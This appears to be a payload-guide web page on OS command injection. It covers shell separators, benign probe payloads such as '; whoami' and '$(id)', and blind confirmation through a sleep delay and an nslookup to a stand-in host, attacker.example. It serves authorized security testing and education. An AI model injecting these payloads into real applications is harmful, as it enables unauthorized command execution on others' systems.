Payloads.site / Payload Guides / Command Injection
OS Command Injection Payloads & Techniques
OS command injection happens when user input is passed into a system shell call without proper sanitization, letting an attacker chain additional commands onto the one the application intended to run. Depending on the context, this can lead to full remote code execution on the host.
Common Separators & Execution Contexts
On Unix-like shells, common chaining/separator techniques include ;,
&&, ||, pipes
(|), command substitution with backticks or $(...), and newline injection. Windows command shells use a smaller set
(&, |) with different
quoting rules, so payloads generally need to be adapted per target OS and shell.
Representative Benign Examples
; whoami && id | id `id` $(id)
These use harmless, informational commands (whoami, id) purely to confirm injection during authorized testing — see the
full, searchable payload library and encoder for a larger, regularly updated set.
Blind Command Injection & Out-of-Band Confirmation
When a command's output isn't reflected in the response, injection can still be confirmed during authorized testing using time-based delays or out-of-band interactions — for example, triggering a DNS or HTTP request to a listener you control (such as Burp Collaborator or a similar OOB service) and observing whether it fires.
; sleep 5 ; nslookup attacker.example
FAQ
How can command injection be detected when command output is not returned?
Use time-based delays (e.g. a command that sleeps for a fixed duration and is timed on the response) or out-of-band interactions such as a DNS or HTTP callback to a listener you control — if the delay or callback occurs, the injection is confirmed even without any visible output.
What is the difference between command injection and code injection?
Command injection executes operating system shell commands via functions like system() or exec(). Code
injection instead executes arbitrary code in the application's own programming language (e.g. via
eval()). Both stem from unsanitized input reaching a dangerous
sink, but the vulnerable function and execution context differ.
Further reading: PortSwigger – OS command injection
⚠️ For educational purposes and authorized security testing only. Do not test systems you do not own or lack explicit permission to test.
Other payload guides